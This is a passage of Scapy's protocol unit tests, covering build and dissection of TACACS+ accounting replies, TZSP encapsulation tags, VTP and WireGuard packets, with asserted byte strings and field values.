i\x05\xb5|\x9f\x01l\xb1/\xd3\rc\x0f\nDr\xc0\xc9.\x88@*(S\xfeF\xd5\x19wFj=\xc3\x9f\x00!D\xbe$E\x04\x0e\xe75\x99\xd6\r\x0f\x16\xc7\x1d\xc2') pkt.rem_addr == b'192.10.10.1' + Tacacs+ Accounting Reply = default instantiation pkt = IP()/TCP(dport=49)/TacacsHeader(seq=2, type=3)/TacacsAccountingReply() raw(pkt) == b'E\x00\x009\x00\x01\x00\x00@\x06|\xbc\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00,\x07\x00\x00\xc0\x03\x02\x00\x00\x00\x00\x00\x00\x00\x00\x05B\xd2A\x8b\x1f' = default values build pkt = IP()/TCP(dport=49)/TacacsHeader(seq=2, type=3)/TacacsAccountingReply() TacacsAccountingReply in pkt and pkt.server_msg == b'' and pkt.server_msg_len is None and pkt.status is None = filled values build -- SSH connection sample secret = test pkt = Ether()/IP()/TCP(dport=49)/TacacsHeader(seq=2, type=3 , flags=0, session_id=3059434316, length=5)/TacacsAccountingReply(status=1, server_msg_len=0, data_len=0) raw(pkt) == b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x009\x00\x01\x00\x00@\x06|\xbc\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xc5\x7f\x00\x00\xc0\x03\x02\x00\xb6[CL\x00\x00\x00\x05\xf4\x0f\xad,o' = dissection pkt = Ether(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x009\x00\x01\x00\x00@\x06|\xbc\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xc5\x7f\x00\x00\xc0\x03\x02\x00\xb6[CL\x00\x00\x00\x05\xf4\x0f\xad,o') pkt.status == 1 + Changing secret to foobar = instantiation scapy.contrib.tacacs.SECRET = 'foobar' pkt = Ether()/IP()/TCP(dport=49)/TacacsHeader(session_id=441255181, type=3, seq=2, length=5)/TacacsAccountingReply(status=1, server_msg_len=0, data_len=0) raw(pkt) == b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x009\x00\x01\x00\x00@\x06|\xbc\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00/,\x00\x00\xc0\x03\x02\x00\x1aM\x05\r\x00\x00\x00\x05S)\x9b\xb4\x92' = dissection scapy.contrib.tacacs.SECRET = 'foobar' pkt = Ether(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x009\x00\x01\x00\x00@\x06|\xbc\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00/,\x00\x00\xc0\x03\x02\x00\x1aM\x05\r\x00\x00\x00\x05S)\x9b\xb4\x92') pkt.status == 1 scapy-2.4.4/test/contrib/tzsp.uts000066400000000000000000000471571372370053500170370ustar00rootroot00000000000000% TZSP test campaign # # execute test: # > test/run_tests -P "load_contrib('tzsp')" -t test/contrib/tzsp.uts # + Basic layer handling = build basic TZSP frames == basic TZSP header - keepalive bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02')/ \ IP(src='1.1.1.1', dst='2.2.2.2')/ \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT)/ \ TZSP(type=TZSP.TYPE_KEEPALIVE, encapsulated_protocol=0) frm = frm.build() frm = Ether(frm) tzsp_lyr = frm.getlayer(TZSP) assert(tzsp_lyr.type == TZSP.TYPE_KEEPALIVE) assert(not tzsp_lyr.payload) == basic TZSP header - keepalive + ignored end tag bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02')/ \ IP(src='1.1.1.1', dst='2.2.2.2')/ \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT)/ \ TZSP(type=TZSP.TYPE_KEEPALIVE, encapsulated_protocol=0)/ \ TZSPTagEnd() frm = frm.build() frm = Ether(frm) tzsp_lyr = frm.getlayer(TZSP) assert(tzsp_lyr.type == TZSP.TYPE_KEEPALIVE) assert(tzsp_lyr.guess_payload_class(tzsp_lyr.payload) is scapy.packet.Raw) == basic TZSP header with RX Packet and EndTag bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ IP(src='1.1.1.1', dst='2.2.2.2') / \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ TZSP() / \ TZSPTagEnd() / \ Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \ Raw('foobar') frm = frm.build() frm = Ether(frm) tzsp_lyr = frm.getlayer(TZSP) assert(tzsp_lyr.type == TZSP.TYPE_RX_PACKET) tzsp_tag_end = tzsp_lyr.payload assert(tzsp_tag_end.type == 1) encapsulated_payload = tzsp_lyr.get_encapsulated_payload() encapsulated_ether_lyr = encapsulated_payload.getlayer(Ether) assert(encapsulated_ether_lyr.src == '00:03:03:03:03:03') == basic TZSP header with RX Packet and Padding bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ IP(src='1.1.1.1', dst='2.2.2.2') / \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ TZSP() / \ TZSPTagPadding() / \ TZSPTagEnd() / \ Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \ Raw('foobar') frm = frm.build() frm = Ether(frm) tzsp_lyr = frm.getlayer(TZSP) assert(tzsp_lyr.type == TZSP.TYPE_RX_PACKET) tzsp_tag_padding = tzsp_lyr.payload assert(tzsp_tag_padding.type == 0) tzsp_tag_end = tzsp_tag_padding.payload assert(tzsp_tag_end.type == 1) == basic TZSP header with RX Packet and RAWRSSI (byte, short) bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ IP(src='1.1.1.1', dst='2.2.2.2') / \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ TZSP() / \ TZSPTagRawRSSIByte(raw_rssi=42) / \ TZSPTagRawRSSIShort(raw_rssi=12345) / \ TZSPTagEnd() / \ Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \ Raw('foobar') frm = frm.build() frm = Ether(frm) tzsp_lyr = frm.getlayer(TZSP) assert(tzsp_lyr.type == TZSP.TYPE_RX_PACKET) tzsp_tag_raw_rssi_byte = tzsp_lyr.payload assert(tzsp_tag_raw_rssi_byte.type == 10) assert(tzsp_tag_raw_rssi_byte.raw_rssi == 42) tzsp_tag_raw_rssi_short = tzsp_tag_raw_rssi_byte.payload assert(tzsp_tag_raw_rssi_short.type == 10) assert(tzsp_tag_raw_rssi_short.raw_rssi == 12345) tzsp_tag_end = tzsp_tag_raw_rssi_short.payload assert(tzsp_tag_end.type == 1) == basic TZSP header with RX Packet and SNR (byte, short) bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ IP(src='1.1.1.1', dst='2.2.2.2') / \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ TZSP() / \ TZSPTagSNRByte(snr=23) / \ TZSPTagSNRShort(snr=54321) / \ TZSPTagEnd() / \ Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \ Raw('foobar') frm = frm.build() frm = Ether(frm) tzsp_lyr = frm.getlayer(TZSP) assert(tzsp_lyr.type == TZSP.TYPE_RX_PACKET) tzsp_tag_snr_byte = tzsp_lyr.payload assert(tzsp_tag_snr_byte.type == 11) assert(tzsp_tag_snr_byte.len == 1) assert(tzsp_tag_snr_byte.snr == 23) tzsp_tag_snr_short = tzsp_tag_snr_byte.payload assert(tzsp_tag_snr_short.type == 11) assert(tzsp_tag_snr_short.len == 2) assert(tzsp_tag_snr_short.snr == 54321) tzsp_tag_end = tzsp_tag_snr_short.payload assert(tzsp_tag_end.type == 1) == basic TZSP header with RX Packet and DATA Rate bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ IP(src='1.1.1.1', dst='2.2.2.2') / \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ TZSP() / \ TZSPTagDataRate(data_rate=TZSPTagDataRate.DATA_RATE_33) / \ TZSPTagEnd() / \ Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \ Raw('foobar') frm = frm.build() frm = Ether(frm) tzsp_lyr = frm.getlayer(TZSP) assert(tzsp_lyr.type == TZSP.TYPE_RX_PACKET) tzsp_tag_data_rate = tzsp_lyr.payload assert(tzsp_tag_data_rate.type == 12) assert(tzsp_tag_data_rate.len == 1) assert(tzsp_tag_data_rate.data_rate == TZSPTagDataRate.DATA_RATE_33) tzsp_tag_end = tzsp_tag_data_rate.payload assert(tzsp_tag_end.type == 1) == basic TZSP header with RX Packet and Timestamp bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ IP(src='1.1.1.1', dst='2.2.2.2') / \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ TZSP() / \ TZSPTagTimestamp(timestamp=0x11223344) / \ TZSPTagEnd() / \ Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \ Raw('foobar') frm = frm.build() frm = Ether(frm) tzsp_lyr = frm.getlayer(TZSP) assert(tzsp_lyr.type == TZSP.TYPE_RX_PACKET) tzsp_tag_timestamp = tzsp_lyr.payload assert(tzsp_tag_timestamp.type == 13) assert(tzsp_tag_timestamp.len == 4) assert(tzsp_tag_timestamp.timestamp == 0x11223344) tzsp_tag_end = tzsp_tag_timestamp.payload assert(tzsp_tag_end.type == 1) == basic TZSP header with RX Packet and ContentionFree bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ IP(src='1.1.1.1', dst='2.2.2.2') / \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ TZSP() / \ TZSPTagContentionFree(contention_free=TZSPTagContentionFree.NO) / \ TZSPTagContentionFree(contention_free=TZSPTagContentionFree.YES) / \ TZSPTagEnd() / \ Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \ Raw('foobar') frm = frm.build() frm = Ether(frm) tzsp_lyr = frm.getlayer(TZSP) assert(tzsp_lyr.type == TZSP.TYPE_RX_PACKET) tzsp_tag_contention_free_no = tzsp_lyr.payload assert(tzsp_tag_contention_free_no.type == 15) assert(tzsp_tag_contention_free_no.len == 1) assert(tzsp_tag_contention_free_no.contention_free == TZSPTagContentionFree.NO) tzsp_tag_contention_free_yes = tzsp_tag_contention_free_no.payload assert(tzsp_tag_contention_free_yes.type == 15) assert(tzsp_tag_contention_free_yes.len == 1) assert(tzsp_tag_contention_free_yes.contention_free == TZSPTagContentionFree.YES) tzsp_tag_end = tzsp_tag_contention_free_yes.payload assert(tzsp_tag_end.type == 1) == basic TZSP header with RX Packet and Decrypted bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ IP(src='1.1.1.1', dst='2.2.2.2') / \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ TZSP() / \ TZSPTagDecrypted(decrypted=TZSPTagDecrypted.NO) / \ TZSPTagDecrypted(decrypted=TZSPTagDecrypted.YES) / \ TZSPTagEnd() / \ Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \ Raw('foobar') frm = frm.build() frm = Ether(frm) tzsp_lyr = frm.getlayer(TZSP) assert(tzsp_lyr.type == TZSP.TYPE_RX_PACKET) tzsp_tag_decrypted_no = tzsp_lyr.payload assert(tzsp_tag_decrypted_no.type == 16) assert(tzsp_tag_decrypted_no.len == 1) assert(tzsp_tag_decrypted_no.decrypted == TZSPTagDecrypted.NO) tzsp_tag_decrypted_yes= tzsp_tag_decrypted_no.payload assert(tzsp_tag_decrypted_yes.type == 16) assert(tzsp_tag_decrypted_yes.len == 1) assert(tzsp_tag_decrypted_yes.decrypted == TZSPTagDecrypted.YES) tzsp_tag_end = tzsp_tag_decrypted_yes.payload assert(tzsp_tag_end.type == 1) == basic TZSP header with RX Packet and FCS error bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ IP(src='1.1.1.1', dst='2.2.2.2') / \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ TZSP() / \ TZSPTagError(fcs_error=TZSPTagError.NO) / \ TZSPTagError(fcs_error=TZSPTagError.YES) / \ TZSPTagEnd() / \ Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \ Raw('foobar') frm = frm.build() frm = Ether(frm) tzsp_lyr = frm.getlayer(TZSP) assert(tzsp_lyr.type == TZSP.TYPE_RX_PACKET) tzsp_tag_error_no = tzsp_lyr.payload assert(tzsp_tag_error_no.type == 17) assert(tzsp_tag_error_no.len == 1) assert(tzsp_tag_error_no.fcs_error == TZSPTagError.NO) tzsp_tag_error_yes = tzsp_tag_error_no.payload assert(tzsp_tag_error_yes.type == 17) assert(tzsp_tag_error_yes.len == 1) assert(tzsp_tag_error_yes.fcs_error == TZSPTagError.YES) tzsp_tag_end = tzsp_tag_error_yes.payload assert(tzsp_tag_end.type == 1) == basic TZSP header with RX Packet and RXChannel bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ IP(src='1.1.1.1', dst='2.2.2.2') / \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ TZSP() / \ TZSPTagRXChannel(rx_channel=123) / \ TZSPTagEnd() / \ Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \ Raw('foobar') frm = frm.build() frm = Ether(frm) tzsp_lyr = frm.getlayer(TZSP) assert(tzsp_lyr.type == TZSP.TYPE_RX_PACKET) tzsp_tag_rx_channel = tzsp_lyr.payload assert(tzsp_tag_rx_channel.type == 18) assert(tzsp_tag_rx_channel.len == 1) assert(tzsp_tag_rx_channel.rx_channel == 123) tzsp_tag_end = tzsp_tag_rx_channel.payload assert(tzsp_tag_end.type == 1) == basic TZSP header with RX Packet and Packet count bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ IP(src='1.1.1.1', dst='2.2.2.2') / \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ TZSP() / \ TZSPTagPacketCount(packet_count=0x44332211) / \ TZSPTagEnd() / \ Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \ Raw('foobar') frm = frm.build() frm = Ether(frm) tzsp_lyr = frm.getlayer(TZSP) assert(tzsp_lyr.type == TZSP.TYPE_RX_PACKET) tzsp_tag_packet_count = tzsp_lyr.payload assert(tzsp_tag_packet_count.type == 40) assert(tzsp_tag_packet_count.len == 4) assert(tzsp_tag_packet_count.packet_count == 0x44332211) tzsp_tag_end = tzsp_tag_packet_count.payload assert(tzsp_tag_end.type == 1) == basic TZSP header with RX Packet and RXFrameLength bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ IP(src='1.1.1.1', dst='2.2.2.2') / \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ TZSP() / \ TZSPTagRXFrameLength(rx_frame_length=0xbad0) / \ TZSPTagEnd() / \ Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \ Raw('foobar') frm = frm.build() frm = Ether(frm) tzsp_lyr = frm.getlayer(TZSP) assert(tzsp_lyr.type == TZSP.TYPE_RX_PACKET) tzsp_tag_frame_length = tzsp_lyr.payload assert(tzsp_tag_frame_length.type == 41) assert(tzsp_tag_frame_length.len == 2) assert(tzsp_tag_frame_length.rx_frame_length == 0xbad0) tzsp_tag_end = tzsp_tag_frame_length.payload assert(tzsp_tag_end.type == 1) == basic TZSP header with RX Packet and WLAN RADIO HDR SERIAL bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) SENSOR_ID = b'1E:AT:DE:AD:BE:EF' frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ IP(src='1.1.1.1', dst='2.2.2.2') / \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ TZSP() / \ TZSPTagWlanRadioHdrSerial(sensor_id=SENSOR_ID) / \ TZSPTagEnd() / \ Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \ Raw('foobar') frm = frm.build() frm = Ether(frm) tzsp_lyr = frm.getlayer(TZSP) assert(tzsp_lyr.type == TZSP.TYPE_RX_PACKET) tzsp_tag_sensor_id = tzsp_lyr.payload assert(tzsp_tag_sensor_id.type == 60) assert(tzsp_tag_sensor_id.len == len(SENSOR_ID)) assert(tzsp_tag_sensor_id.sensor_id == SENSOR_ID) tzsp_tag_end = tzsp_tag_sensor_id.payload assert(tzsp_tag_end.type == 1) == handling of unknown tag bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) SENSOR_ID = b'1E:AT:DE:AD:BE:EF' frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ IP(src='1.1.1.1', dst='2.2.2.2') / \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ TZSP() / \ TZSPTagUnknown(len=6, data=b'\x06\x05\x04\x03\x02\x01') / \ TZSPTagWlanRadioHdrSerial(sensor_id=SENSOR_ID) / \ TZSPTagEnd() / \ Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \ Raw('foobar') frm = frm.build() frm = Ether(frm) tzsp_lyr = frm.getlayer(TZSP) assert(tzsp_lyr) tzsp_tag_unknown = tzsp_lyr.payload assert(type(tzsp_tag_unknown) is TZSPTagUnknown) = all layers stacked bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02')/ \ IP(src='1.1.1.1', dst='2.2.2.2')/ \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT)/ \ TZSP()/ \ TZSPTagRawRSSIByte(raw_rssi=12)/ \ TZSPTagRawRSSIShort(raw_rssi=1234)/ \ TZSPTagSNRByte(snr=12)/ \ TZSPTagSNRShort(snr=1234)/ \ TZSPTagDataRate(data_rate = TZSPTagDataRate.DATA_RATE_54)/ \ TZSPTagTimestamp(timestamp=12345)/ \ TZSPTagContentionFree(contention_free = TZSPTagContentionFree.NO)/ \ TZSPTagContentionFree(contention_free = TZSPTagContentionFree.YES)/ \ TZSPTagDecrypted(decrypted=TZSPTagDecrypted.NO)/ \ TZSPTagDecrypted(decrypted=TZSPTagDecrypted.YES)/ \ TZSPTagError(fcs_error = TZSPTagError.YES)/ \ TZSPTagError(fcs_error = TZSPTagError.NO)/ \ TZSPTagRXChannel(rx_channel = 42)/ \ TZSPTagPacketCount(packet_count = 987654)/ \ TZSPTagRXFrameLength(rx_frame_length = 0x0bad)/ \ TZSPTagWlanRadioHdrSerial(sensor_id = 'foobar')/ \ TZSPTagPadding()/ \ TZSPTagEnd()/ \ Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04')/ \ ARP() frm = frm.build() frm = Ether(frm) tzsp_lyr = frm.getlayer(TZSP) tzsp_raw_rssi_byte_lyr = tzsp_lyr.payload assert(tzsp_raw_rssi_byte_lyr.type == 10) tzsp_tag_raw_rssi_short = tzsp_raw_rssi_byte_lyr.payload assert(tzsp_tag_raw_rssi_short.type == 10) tzsp_tag_snr_byte = tzsp_tag_raw_rssi_short.payload assert(tzsp_tag_snr_byte.type == 11) tzsp_tag_snr_short = tzsp_tag_snr_byte.payload assert(tzsp_tag_snr_short.type == 11) tzsp_tag_data_rate = tzsp_tag_snr_short.payload assert(tzsp_tag_data_rate.type == 12) tzsp_tag_timestamp = tzsp_tag_data_rate.payload assert(tzsp_tag_timestamp.type == 13) tzsp_tag_contention_free_no = tzsp_tag_timestamp.payload assert(tzsp_tag_contention_free_no.type == 15) tzsp_tag_contention_free_yes = tzsp_tag_contention_free_no.payload assert(tzsp_tag_contention_free_yes.type == 15) tzsp_tag_decrypted_no = tzsp_tag_contention_free_yes.payload assert(tzsp_tag_decrypted_no.type == 16) tzsp_tag_decrypted_yes = tzsp_tag_decrypted_no.payload assert(tzsp_tag_decrypted_yes.type == 16) tzsp_tag_error_yes = tzsp_tag_decrypted_yes.payload assert(tzsp_tag_error_yes.type == 17) tzsp_tag_error_no = tzsp_tag_error_yes.payload assert(tzsp_tag_error_no.type == 17) tzsp_tag_rx_channel = tzsp_tag_error_no.payload assert(tzsp_tag_rx_channel.type == 18) tzsp_tag_packet_count = tzsp_tag_rx_channel.payload assert(tzsp_tag_packet_count.type == 40) tzsp_tag_frame_length = tzsp_tag_packet_count.payload assert(tzsp_tag_frame_length.type == 41) tzsp_tag_sensor_id = tzsp_tag_frame_length.payload assert(tzsp_tag_sensor_id.type == 60) tzsp_tag_padding = tzsp_tag_sensor_id.payload assert(tzsp_tag_padding.type == 0) tzsp_tag_end = tzsp_tag_padding.payload assert(tzsp_tag_end.type == 1) encapsulated_payload = tzsp_tag_end.payload encapsulated_ether_lyr = encapsulated_payload.getlayer(Ether) assert(encapsulated_ether_lyr.src == '00:03:03:03:03:03') + corner cases = state tags value range == TZSPTagContentionFree bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02')/ \ IP(src='1.1.1.1', dst='2.2.2.2')/ \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT)/ \ TZSP()/ \ TZSPTagContentionFree(contention_free = 0xff)/ \ TZSPTagEnd() frm = frm.build() frm = Ether(frm) tzsp_tag_contention_free = frm.getlayer(TZSPTagContentionFree) assert(tzsp_tag_contention_free) tzsp_tag_contention_free_attr = tzsp_tag_contention_free.get_field('contention_free') assert(tzsp_tag_contention_free_attr) symb_str = tzsp_tag_contention_free_attr.i2repr(tzsp_tag_contention_free, tzsp_tag_contention_free.contention_free) assert(symb_str == 'yes') == TZSPTagError bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02')/ \ IP(src='1.1.1.1', dst='2.2.2.2')/ \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT)/ \ TZSP()/ \ TZSPTagError(fcs_error=TZSPTagError.NO)/ \ TZSPTagEnd() frm = frm.build() frm = Ether(frm) tzsp_tag_error = frm.getlayer(TZSPTagError) assert(tzsp_tag_error) tzsp_tag_error_attr = tzsp_tag_error.get_field('fcs_error') assert(tzsp_tag_error_attr) symb_str = tzsp_tag_error_attr.i2repr(tzsp_tag_error, tzsp_tag_error.fcs_error) assert(symb_str == 'no') frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02')/ \ IP(src='1.1.1.1', dst='2.2.2.2')/ \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT)/ \ TZSP()/ \ TZSPTagError(fcs_error=TZSPTagError.YES + 1)/ \ TZSPTagEnd() frm = frm.build() frm = Ether(frm) tzsp_tag_error = frm.getlayer(TZSPTagError) assert(tzsp_tag_error) tzsp_tag_error_attr = tzsp_tag_error.get_field('fcs_error') assert(tzsp_tag_error_attr) symb_str = tzsp_tag_error_attr.i2repr(tzsp_tag_error, tzsp_tag_error.fcs_error) assert(symb_str == 'reserved') == missing TZSP header before end tag frm = TZSPTagEnd()/ \ Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04')/ \ ARP() frm = frm.build() try: frm = TZSPTagEnd(frm) assert False except TZSPStructureException: pass == invalid length field for given tag bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ IP(src='1.1.1.1', dst='2.2.2.2') / \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ TZSP() / \ TZSPTagRawRSSIByte(len=3) / \ TZSPTagEnd() frm = frm.build() frm = Ether(frm) tzsp_lyr = frm.getlayer(TZSP) assert(type(tzsp_lyr.payload) is Raw ) == handling of unknown tag - payload to short bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) SENSOR_ID = '1E:AT:DE:AD:BE:EF' frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ IP(src='1.1.1.1', dst='2.2.2.2') / \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ TZSP() / \ Raw(b'\xff\x0a\x01\x02\x03\x04\x05') frm = frm.build() frm = Ether(frm) frm.show() tzsp_lyr = frm.getlayer(TZSP) assert(tzsp_lyr) raw_lyr = tzsp_lyr.payload assert(type(raw_lyr) is Raw) assert(raw_lyr.load == b'\xff\x0a\x01\x02\x03\x04\x05') == handling of unknown tag - no payload after tag type bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) SENSOR_ID = '1E:AT:DE:AD:BE:EF' frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ IP(src='1.1.1.1', dst='2.2.2.2') / \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ TZSP() / \ Raw(b'\xff') frm = frm.build() frm = Ether(frm) tzsp_lyr = frm.getlayer(TZSP) assert(tzsp_lyr) raw_lyr = tzsp_lyr.payload assert(type(raw_lyr) is Raw) assert(raw_lyr.load == b'\xff') scapy-2.4.4/test/contrib/vtp.uts000066400000000000000000000003541372370053500166340ustar00rootroot00000000000000# VP unit tests # # Type the following command to launch start the tests: # $ test/run_tests -P "load_contrib('vtp')" -t test/contrib/vtp.uts + VTP = VTP, basic instantiation pkt = VTP(vlaninfo=[VTPVlanInfo()]) assert len(pkt) == 72 scapy-2.4.4/test/contrib/wireguard.uts000066400000000000000000000101701372370053500200110ustar00rootroot00000000000000% WireGuard tests # Type the following command to launch start the tests: # $ test/run_tests -P "load_contrib('wireguard')" -t test/contrib/wireguard.uts + Build packets & dissect = Build and dissect Transport wgTransport = Wireguard()/WireguardTransport(receiver_index=1234, counter=1337, encrypted_encapsulated_packet=b"test123") assert bytes(wgTransport) == b'\x04\x00\x00\x00\xd2\x04\x00\x009\x05\x00\x00\x00\x00\x00\x00test123' wgTransport = Wireguard(b'\x04\x00\x00\x00\xe1\x10\x00\x00\x9a\x02\x00\x00\x00\x00\x00\x00test123') assert wgTransport.message_type == 4 assert wgTransport[WireguardTransport].receiver_index == 4321 assert wgTransport[WireguardTransport].counter == 666 assert wgTransport[WireguardTransport].encrypted_encapsulated_packet == b"test123" = Build and dissect Init wgInit = Wireguard()/WireguardInitiation(sender_index=12345, unencrypted_ephemeral=b"\xaf\xfe"*16, encrypted_static=b"lul", encrypted_timestamp=b"kukuk", mac1="\x01"*16, mac2="\x02"*16 ) assert bytes(wgInit) == b'\x01\x00\x00\x0090\x00\x00\xaf\xfe\xaf\xfe\xaf\xfe\xaf\xfe\xaf\xfe\xaf\xfe\xaf\xfe\xaf\xfe\xaf\xfe\xaf\xfe\xaf\xfe\xaf\xfe\xaf\xfe\xaf\xfe\xaf\xfe\xaf\xfelul\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00kukuk\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + b'\x01' * 16 + b'\x02' * 16 wgInit = Wireguard(b'\x01\x00\x00\x0090\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xffstatisch\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00nixgibts\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04') assert wgInit.message_type == 1 assert wgInit[WireguardInitiation].sender_index == 12345 assert wgInit[WireguardInitiation].unencrypted_ephemeral == b"\xff"*32 assert wgInit[WireguardInitiation].encrypted_static == b"statisch" + b"\x00" * 40 assert wgInit[WireguardInitiation].encrypted_timestamp == b"nixgibts" + b"\x00" * 20 assert wgInit[WireguardInitiation].mac1 == b"\x03" * 16 assert wgInit[WireguardInitiation].mac2 == b"\x04" * 16 = Build and dissect Response wgResp = Wireguard()/WireguardResponse(sender_index=12345, receiver_index=7878, unencrypted_ephemeral=b"\x41"*32, encrypted_nothing=b"empty", mac1=b"mac1", mac2=b"mac2" ) assert bytes(wgResp) 